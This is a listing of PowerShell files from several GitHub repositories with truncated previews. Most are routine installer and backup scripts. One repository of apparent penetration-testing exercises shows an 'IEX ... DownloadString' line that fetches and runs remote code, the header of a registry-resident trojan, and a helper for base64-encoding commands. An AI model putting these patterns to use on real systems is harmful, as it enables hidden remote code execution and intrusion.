[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure w...
PowerShellCorpus/Github/g7crm4l_production/custom/xamarin/startInstall.ps1
startInstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/VSBuild/startinstall.ps1
startinstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/HP QTP/startInstall.ps1
startInstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/TortoiseSVN/startinstall.ps1
startinstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/node/startInstall.ps1
startInstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/VSAndroidEmulator/startinstall.ps1
startinstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/jdk/startinstall.ps1
startinstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/QTP/startInstall.ps1
startInstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/vspro2015/startinstall.ps1
startinstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/g7crm4l_production/custom/TFS/startInstall.ps1
startInstall.ps1
[CmdletBinding()] param( ) ################################################################################################### # # PowerShell configurations # # NOTE: Because the $ErrorActionPreference is "Stop", this script will stop on first failure. # This is necessary to ensure we capture errors...
PowerShellCorpus/Github/chrisism_VSTS.Robocopy/Robocopy/BackupTask/backupdir.ps1
backupdir.ps1
param ( [string]$source, [string]$destination, [string]$createStampedBackupFolder, [string]$copyOptions ) function Get-Stamped-Destination($destination) { $stampedFolderName = get-date -format "yyyy-MM-dd" $count = 1 $stampedDestination = Join-Path $destination $stampedFolderName while(Test-Path $st...
PowerShellCorpus/Github/chrisism_VSTS.Robocopy/Robocopy/Task/robocopytask.ps1
robocopytask.ps1
param ( [string]$source, [string]$destination, [string]$files, [string]$copySubDirs, [string]$copySubDirsAll, [string]$purge, [string]$move, [string]$createtree, [string]$excludeFiles, [string]$excludeDirs, [string]$retries, [string]$copyOptions ) if ($copySubDirs.ToLower() -eq "true" ) { ...
PowerShellCorpus/Github/crumudgin_GroccerV2/GrocerServer/packages/EntityFramework.6.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIarwYJKoZIhvcNAQcCoIIaoDCCGpwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/crumudgin_GroccerV2/GrocerServer/packages/EntityFramework.6.0.0/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/crumudgin_GroccerV2/GrocerServer/packages/System.Data.SQLite.EF6.1.0.99.0/tools/net45/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/crumudgin_GroccerV2/GrocerServer/packages/System.Data.SQLite.EF6.1.0.99.0/tools/net451/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/crumudgin_GroccerV2/GrocerServer/packages/System.Data.SQLite.EF6.1.0.99.0/tools/net46/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/crumudgin_GroccerV2/GrocerServer/packages/System.Data.SQLite.EF6.1.0.99.0/tools/net40/install.ps1
install.ps1
############################################################################### # # provider.ps1 -- # # Written by Joe Mistachkin. # Released to the public domain, use at your own risk! # ############################################################################### param($installPath, $toolsPath, $package, ...
PowerShellCorpus/Github/ahhh_PSSE/ex_New-SymLink.ps1
ex_New-SymLink.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $ApiCode = @" [DllImport("kernel32.dll")] public static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags); "@ $SymLink = Add-Type -MemberDefinition $ApiCode -Name Symlink -Namespace CreatSymLink...
PowerShellCorpus/Github/ahhh_PSSE/Scan-Dir-Permissions.ps1
Scan-Dir-Permissions.ps1
function Scan-Dir-Permissions { <# .SYNOPSIS A cmdlet to quickly audit the security permissions of arbitrary and security related directories. .DESCRIPTION This script can return the owner, group, and detailed security permissions of directories, as well as the details of other folders, recursivly nested. It ...
PowerShellCorpus/Github/ahhh_PSSE/ex_WMI_Part2.ps1
ex_WMI_Part2.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ (Get-WmiObject -Class Win32_process).Path
PowerShellCorpus/Github/ahhh_PSSE/sample_webclient.ps1
sample_webclient.ps1
# Sample scripts for playing w/ Web Clients $webClient = New-Object Net.WebClient $storageDir = $pwd $file = "$storageDir\robots.txt" $url = "https://google.com/robots.txt" $webClient.DownloadFile($url,$file) # Invoke Expression on remote powershell script IEX (New-Object Net.WebClient).DownloadString('htt...
PowerShellCorpus/Github/ahhh_PSSE/ex_paramatrributes.ps1
ex_paramatrributes.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ function paramattributes { param ( [Parameter (Mandatory = $True, Position=0, ValueFromPipeline = $True)] [ValidateSet (1,2,3)] $a, [Parameter (Mandatory = $True, Position=1)] [AllowNull()] $b ) Wr...
PowerShellCorpus/Github/ahhh_PSSE/fractal_mira.ps1
fractal_mira.ps1
# Super cool script for messing with Mira Fracatal and .NET form # https://adminscache.wordpress.com/2013/11/27/powershell-plot-and-save-mira-orbital-fractal/ Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # Main Form $mainForm = New-Object Windows.Forms.Form $mainForm.Back...
PowerShellCorpus/Github/ahhh_PSSE/ex_Registry_Part1.ps1
ex_Registry_Part1.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ #Get the TypedURLs Get-ItemProperty "hkcu:\software\microsoft\internet explorer\typedurls" #Installed Softwares (Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*).DisplayName Get-ItemProperty HKLM:\Softwa...
PowerShellCorpus/Github/ahhh_PSSE/RegTrojan.ps1
RegTrojan.ps1
## Powershell For Penetration Testers Exam Task 10 - A Trojan that lives in the registry, reads and writes to the Win Reg for it's commands function Install-Trojan { <# .SYNOPSIS PowerShell cmdlet for installing the regkey trojan .DESCRIPTION this script installs a trojan whos main execution payload will liv...
PowerShellCorpus/Github/ahhh_PSSE/B64.ps1
B64.ps1
## Powershell function for quickly encoding a string function Encode-Command { <# .SYNOPSIS PowerShell cmdlet for b64 encoding strings .DESCRIPTION this script is able to encode commands to run for PowerShell -Enc .PARAMETER command This is the string you want to base 64 encode .EXAMPLE PS C:\> Import-Modu...